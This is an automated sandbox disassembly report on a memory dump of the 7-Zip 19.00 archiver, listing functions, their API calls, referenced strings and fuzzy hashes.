Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$free
String ID: $ MB$ Memory =
API String ID: 3873070119-2616823926
Opcode ID: 07695d8419c59f003fa7f84926a4645375bf0ceb04becd9a3de262dbf0bc1305
Instruction ID: d34db0695515fa24bf73a78700bdc43d1c053a2df5b9990d5d973d41695adce9
Opcode Fuzzy Hash: 07695d8419c59f003fa7f84926a4645375bf0ceb04becd9a3de262dbf0bc1305
Instruction Fuzzy Hash: 5A111FB230094591FB10DF25E98575A2320F785BE9F449326EE6E436B4DF38C95AC704

Function 00C830CC Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 32COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C830E7
fputs.MSVCRT ref: 00C83104
fputs.MSVCRT ref: 00C83114

Part of subcall function 00C42320: free.MSVCRT ref: 00C4237E
Part of subcall function 00C42320: fputs.MSVCRT ref: 00C423B8
Part of subcall function 00C42320: free.MSVCRT ref: 00C423C4

fputs.MSVCRT ref: 00C83132

Strings

WARNING, xrefs: 00C830F0
: Can not open the file as [, xrefs: 00C8310D
] archive, xrefs: 00C83125
Open , xrefs: 00C830DD
ERROR, xrefs: 00C830F7

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$free
String ID: : Can not open the file as [$ERROR$Open $WARNING$] archive
API String ID: 3873070119-2741933734
Opcode ID: f32defa99fa0ddd8f5ee8d7903e4695ca461ad93e2af0abed86e02622ffafdb7
Instruction ID: 7870dfceaff34ec01f7ec63e8ff66a9b67ffdc244123b705dc63b056b3f1ac50
Opcode Fuzzy Hash: f32defa99fa0ddd8f5ee8d7903e4695ca461ad93e2af0abed86e02622ffafdb7
Instruction Fuzzy Hash: E1F0F965301E05D1FE11DF66E898BA96335BB5AFC9F849226DE5E03374DE2CC54AC304

Function 00C7EE5C Relevance: 15.3, APIs: 12, Instructions: 344COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C7EFB0

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 92278cdab0ad5069273e32549c2c9c770d2a5dfe6a62cd2ad7786a5c7567a585
Instruction ID: 2b37ec979c48ba8c69fe16b0ca3748454bebc9f18ecb9153d88f4e6f4ddafbe4
Opcode Fuzzy Hash: 92278cdab0ad5069273e32549c2c9c770d2a5dfe6a62cd2ad7786a5c7567a585
Instruction Fuzzy Hash: 1FE18A32314B8092DB64DF26D49476EB7A0F788F84F54902AEB9E43725DF38C896D700

Function 00C46F50 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00C46F6D
GetTickCount.KERNEL32 ref: 00C46F78
GetCurrentProcessId.KERNEL32 ref: 00C46F85

Part of subcall function 00C4339C: free.MSVCRT(00000000,?,?,00000000,00C410A8), ref: 00C433D7
Part of subcall function 00C4339C: memmove.MSVCRT(00000000,?,?,00000000,00C410A8), ref: 00C433F2

GetTickCount.KERNEL32 ref: 00C47023
SetLastError.KERNEL32 ref: 00C4705C
GetLastError.KERNEL32 ref: 00C47086

Part of subcall function 00C46C84: CreateDirectoryW.KERNEL32 ref: 00C46CA8

Strings

d, xrefs: 00C4709B
.tmp, xrefs: 00C4703B

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: CountCurrentErrorLastTick$CreateDirectoryProcessThreadfreememmove
String ID: .tmp$d
API String ID: 3444860307-2797371523
Opcode ID: 855db8f89ad4192e1f7aaf537696d0c704f64e19782212e671a724ccd2b912be
Instruction ID: 15c0b4999d00338581659c4b84f698e2a5a0731d52dd2bea421020b84108e30e
Opcode Fuzzy Hash: 855db8f89ad4192e1f7aaf537696d0c704f64e19782212e671a724ccd2b912be
Instruction Fuzzy Hash: C1316666314250D7EB34DB26E88075DA361BB94BC0F448226EE9347B20DF39C687C701

Function 00C46B2C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 87libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00C46B4F
GetProcAddress.KERNEL32 ref: 00C46B5F
free.MSVCRT ref: 00C46C0C
free.MSVCRT ref: 00C46C17
free.MSVCRT ref: 00C46C25
free.MSVCRT ref: 00C46C30

Strings

kernel32.dll, xrefs: 00C46B48
CreateHardLinkW, xrefs: 00C46B58

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$AddressHandleModuleProc
String ID: CreateHardLinkW$kernel32.dll
API String ID: 399046674-294928789
Opcode ID: 0711bf2b160802de48a7ad8e62ea8a456af0d095c717e74070ad8e7392e23327
Instruction ID: 69cb68f5fca10ac8a34e2891e747d7c72530e7089385710f6d253d5d3c351b75
Opcode Fuzzy Hash: 0711bf2b160802de48a7ad8e62ea8a456af0d095c717e74070ad8e7392e23327
Instruction Fuzzy Hash: 6021D82325558041DE60EB25EC5176F6760FBC37E0F842235FEAA87769DE28CD86D701

Function 00C4DEBC Relevance: 13.9, APIs: 11, Instructions: 168COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C4DF01
free.MSVCRT ref: 00C4DFEC
free.MSVCRT ref: 00C4E051
free.MSVCRT ref: 00C4E05C
free.MSVCRT ref: 00C4E072
free.MSVCRT ref: 00C4E07D
free.MSVCRT ref: 00C4E0A1
free.MSVCRT ref: 00C4E0A9
free.MSVCRT ref: 00C4E0D2
free.MSVCRT ref: 00C4E0DA
free.MSVCRT ref: 00C4E0E9

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 7aae74738ebb1fa26e9c45f1fe68a2e26c39cce5353d9637d771cf3076791eab
Instruction ID: c3e1416725c7d35ca36350028f95f8e74f180bafd1e94b2398c9f4c5ba632dc1
Opcode Fuzzy Hash: 7aae74738ebb1fa26e9c45f1fe68a2e26c39cce5353d9637d771cf3076791eab
Instruction Fuzzy Hash: 2851D122215A4085DA30EF25E84116E7770FBC5BE4B881225FF6F47765EF38CA86D700

Function 00C52C58 Relevance: 13.6, APIs: 9, Instructions: 127COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C52DC0
free.MSVCRT ref: 00C52DC8
free.MSVCRT ref: 00C52DD9

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4f627721fd3f548a9e12361352d12e7f0c520e4151b4dacedd918d3c46c14af4
Instruction ID: dc7282d3f43c09db32697bb183af2dcbc2bbfd7e0c624be9f36d5e1b8fab0bcf
Opcode Fuzzy Hash: 4f627721fd3f548a9e12361352d12e7f0c520e4151b4dacedd918d3c46c14af4
Instruction Fuzzy Hash: F941802771459086CB30AE16D88012D63B1F7867A6F994236FF6E17B14DA38CDCAD748

Function 00C75988 Relevance: 12.7, APIs: 10, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1faaf7df75186d5ae884903546cdcce3f308a231f1a81c91827175cf65db9ce
Instruction ID: 32a86b9fc081e825738b6de20ac6617897372f5777b246ae0828851a2b4e4a55
Opcode Fuzzy Hash: e1faaf7df75186d5ae884903546cdcce3f308a231f1a81c91827175cf65db9ce
Instruction Fuzzy Hash: 00910532604B8086DB20DF25E49076FB7A0FBC5B94F509216EB6E47768DFB8C985CB40

Function 00C713E8 Relevance: 12.6, APIs: 10, Instructions: 133COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C71569
free.MSVCRT ref: 00C71574
free.MSVCRT ref: 00C7157D
free.MSVCRT ref: 00C71588
free.MSVCRT ref: 00C71596
free.MSVCRT ref: 00C715BA
free.MSVCRT ref: 00C715C3
free.MSVCRT ref: 00C715D1
free.MSVCRT ref: 00C715DC
free.MSVCRT ref: 00C72D73

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d553175bd705add0397085a2f68dee216f55efb8e0660d055bcfc610d1b73714
Instruction ID: e17fe7ebbae05cf381e02e8a0fd044c718d32b129dac2508b293b88ec915f2b6
Opcode Fuzzy Hash: d553175bd705add0397085a2f68dee216f55efb8e0660d055bcfc610d1b73714
Instruction Fuzzy Hash: F1515A77208AC485C620DF2AE49179E7761F786B98F449012DF8E67B18CF39C886DB04

Function 00C716B2 Relevance: 12.6, APIs: 10, Instructions: 125COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C717E2
free.MSVCRT ref: 00C717ED
free.MSVCRT ref: 00C717F6
free.MSVCRT ref: 00C71801
free.MSVCRT ref: 00C7180F
free.MSVCRT ref: 00C71838
free.MSVCRT ref: 00C71841
free.MSVCRT ref: 00C7184F
free.MSVCRT ref: 00C7185A
free.MSVCRT ref: 00C72D73

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 9943e524698941380e30c423019f5bc2cf16f063716f467c35492b6a2cf77687
Instruction ID: e235b34c9f59f0d02538f4971309b5a393e64facf99742b9324f73de0b815cfd
Opcode Fuzzy Hash: 9943e524698941380e30c423019f5bc2cf16f063716f467c35492b6a2cf77687
Instruction Fuzzy Hash: D94108B6205F8481CA28DF2AE8912AE73A1FBC9F95F459522DF5E43724DF38C995D300

Function 00C86A20 Relevance: 12.6, APIs: 10, Instructions: 59COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C86A33
free.MSVCRT ref: 00C86A65
free.MSVCRT ref: 00C86A6D
free.MSVCRT ref: 00C86A7D
free.MSVCRT ref: 00C86A89
free.MSVCRT ref: 00C86ABB
free.MSVCRT ref: 00C86AC3
free.MSVCRT ref: 00C86AD3
free.MSVCRT ref: 00C86ADF
free.MSVCRT ref: 00C86AEB

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 49e297252a2c8ca67cda62bdf5dff8c128a9f435b231509b57c7dc761cb252a3
Instruction ID: fabbb80ec76d106785d304ccced6cdf4c238025e4b4365db7b5334704beecbde
Opcode Fuzzy Hash: 49e297252a2c8ca67cda62bdf5dff8c128a9f435b231509b57c7dc761cb252a3
Instruction Fuzzy Hash: E11149236018C488CB15BE26DC522EC6261EB86FA8F5D9171BF2D1F369DF20CD82A354

Function 00C4FC9C Relevance: 12.5, APIs: 10, Instructions: 44COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C4FCBA
free.MSVCRT ref: 00C4FCC3
free.MSVCRT ref: 00C4FCCC
free.MSVCRT ref: 00C4FCD5
free.MSVCRT ref: 00C4FCDE
free.MSVCRT ref: 00C4FCE7
free.MSVCRT ref: 00C4FCF0
free.MSVCRT ref: 00C4FCF8
free.MSVCRT ref: 00C4FD00
memmove.MSVCRT ref: 00C4FD1E

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 37bd50d8d1977fdd302a0b82f53c3d6d511d758968c823be9149fe37c82b5d04
Instruction ID: 01a0afac11385ff90124e96f96b5961fc73429547b5bf924fd6fdf80c41bf4cb
Opcode Fuzzy Hash: 37bd50d8d1977fdd302a0b82f53c3d6d511d758968c823be9149fe37c82b5d04
Instruction Fuzzy Hash: 0B01482331198092CA04EF26DE9206C7360FF86FA47846162AF2E4BB65DF20DCA6D344

Function 00C76528 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 132COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C766B0

Strings

\, xrefs: 00C765E5
z, xrefs: 00C76594
/, xrefs: 00C765EB
a, xrefs: 00C76589

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID: /$\$a$z
API String ID: 1294909896-3795456795
Opcode ID: 92741b9c6097dc57a5422346ae12ec5673efaeb8d1b2f3031f7aecb4c5395baf
Instruction ID: c9b74805935c56a35b3bc16b2faace7420b284df38b610145c6fe1eecd0e1d4b
Opcode Fuzzy Hash: 92741b9c6097dc57a5422346ae12ec5673efaeb8d1b2f3031f7aecb4c5395baf
Instruction Fuzzy Hash: 2B41E552A04E8899DB70EF22D0046B93770F351BD4FD9C226EA6D03394EB75CAC6E701

Function 00C8870C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C88785
fputs.MSVCRT ref: 00C88795
free.MSVCRT ref: 00C887E7
free.MSVCRT ref: 00C887EF
free.MSVCRT ref: 00C88801

Strings

Usage: 7z <command> [<switches>...] <archive_name> [<file_names>...] [@listfile]<Commands> a : Add files to archive b : Benchmark d : Delete files from archive e : Extract files from archive (without using directory names) h : Calculate hash values, xrefs: 00C8878E
7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21, xrefs: 00C8877E

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$fputs
String ID: 7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21$Usage: 7z <command> [<switches>...] <archive_name> [<file_names>...] [@listfile]<Commands> a : Add files to archive b : Benchmark d : Delete files from archive e : Extract files from archive (without using directory names) h : Calculate hash values
API String ID: 2444650769-4238946813
Opcode ID: 6a807e1f11532017a4cdd53ea1c09d8dec3d45ef8e00fbcf8e020d56cf8062a2
Instruction ID: 98a00b1063a0bedf06bc79adc1eb8ffad3468e63838f8fd35990407881421dac
Opcode Fuzzy Hash: 6a807e1f11532017a4cdd53ea1c09d8dec3d45ef8e00fbcf8e020d56cf8062a2
Instruction Fuzzy Hash: 7D21C3233056C481DA30EB11FA803ADB361F785798FD84525DA5D97B18DF3CC98ACB08

Function 00C8E3E4 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00C8E3EF
GetProcAddress.KERNEL32 ref: 00C8E3FF
GetModuleHandleA.KERNEL32 ref: 00C8E413
GetProcAddress.KERNEL32 ref: 00C8E423

Strings

FindFirstStreamW, xrefs: 00C8E3F5
FindNextStreamW, xrefs: 00C8E419
kernel32.dll, xrefs: 00C8E3E8, 00C8E405

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: FindFirstStreamW$FindNextStreamW$kernel32.dll
API String ID: 1646373207-4044117955
Opcode ID: ac966f64d20482aa4fd5c134ec705327a834465029026a46f097207993e27cb5
Instruction ID: e6ec1c198b3fc8db9809e668c397aec731dfc52b12fe320b4b69f8dfd3960bcd
Opcode Fuzzy Hash: ac966f64d20482aa4fd5c134ec705327a834465029026a46f097207993e27cb5
Instruction Fuzzy Hash: 2EE09268651B0AD2FE04DB51FCA8B6423A0F749765F90823DC40A43320EF3CC19BC708

Function 00C44F24 Relevance: 11.4, APIs: 9, Instructions: 111COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C44FB9
free.MSVCRT ref: 00C44FC1
memmove.MSVCRT ref: 00C44FDC
free.MSVCRT ref: 00C45033
free.MSVCRT ref: 00C4503B
free.MSVCRT ref: 00C45049

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: a041cbdb6f5740e4120ede61be48ff6f97309ac3af8f67b0fadf56b6372aeade
Instruction ID: 88b67f531768a02aa7d3df2b28418e4b6739ce1d97f4046000cbfd0e9fc8e6a4
Opcode Fuzzy Hash: a041cbdb6f5740e4120ede61be48ff6f97309ac3af8f67b0fadf56b6372aeade
Instruction Fuzzy Hash: A2313A66714EC043DA10DE26D89122D7710BF96FF4B585221FFAE1B79ACF29C8428740

Function 00C60554 Relevance: 11.4, APIs: 9, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 00C496AC: free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF,00000001,00000000), ref: 00C496D1

free.MSVCRT(?,?,?,?,?,?,00000000,00000000,00C62160), ref: 00C605FD
free.MSVCRT(?,?,?,?,?,?,00000000,00000000,00C62160), ref: 00C60607
free.MSVCRT(?,?,?,?,?,?,00000000,00000000,00C62160), ref: 00C60612
free.MSVCRT(?,?,?,?,?,?,00000000,00000000,00C62160), ref: 00C60639
free.MSVCRT(?,?,?,?,?,?,00000000,00000000,00C62160), ref: 00C60643
GetLastError.KERNEL32(?,?,?,?,?,?,00000000,00000000,00C62160), ref: 00C60652
free.MSVCRT(?,?,?,?,?,?,00000000,00000000,00C62160), ref: 00C60673
free.MSVCRT(?,?,?,?,?,?,00000000,00000000,00C62160), ref: 00C60692
free.MSVCRT(?,?,?,?,?,?,00000000,00000000,00C62160), ref: 00C606BC

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$ErrorLast
String ID:
API String ID: 408039514-0
Opcode ID: ba39d191a4783be6191a4353f763b9374f22025bd81bbd69dc5c6e5eb5e84779
Instruction ID: e1ff9f6859be8404bd265c40ed63e7ec4bf9372a7b0dff3aa2496e7bfef84ec5
Opcode Fuzzy Hash: ba39d191a4783be6191a4353f763b9374f22025bd81bbd69dc5c6e5eb5e84779
Instruction Fuzzy Hash: E531B0232245C08BCB30DF25E88125EB760F7C57A4F941125FB9E87A69DF39D995CB00

Function 00C7EAD4 Relevance: 11.3, APIs: 9, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00C7EAFF
memcmp.MSVCRT ref: 00C7EB1D
memcmp.MSVCRT ref: 00C7EB33

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 41d9d86949f01cac63a720bc7b2bd3e9f688eab33a43bcd64fe82cf42b54a768
Instruction ID: c889adc9a3a4d4f1fbd033dc8ff639a6bc53042f56a578f5c1bff79521f95c9e
Opcode Fuzzy Hash: 41d9d86949f01cac63a720bc7b2bd3e9f688eab33a43bcd64fe82cf42b54a768
Instruction Fuzzy Hash: 9C3180A230874092EB04EF6798593A82B25DB49FD8FC5D091DE0B9B646EF74CB45E30C

Function 00C729F7 Relevance: 11.3, APIs: 9, Instructions: 52COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C72A09
free.MSVCRT ref: 00C72A13
free.MSVCRT ref: 00C72A1E
free.MSVCRT ref: 00C72A2C
free.MSVCRT ref: 00C72A4E
free.MSVCRT ref: 00C72A57
free.MSVCRT ref: 00C72A65
free.MSVCRT ref: 00C72A70
free.MSVCRT ref: 00C72D73

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e90d6bb166ed15ba24e72fcfe06ac02a43145d9266722310fb98f001947c2363
Instruction ID: 5ad88b5b7ad300b862f67a497e3b2b79539adfd4546a8d3617e92013c0b8c1db
Opcode Fuzzy Hash: e90d6bb166ed15ba24e72fcfe06ac02a43145d9266722310fb98f001947c2363
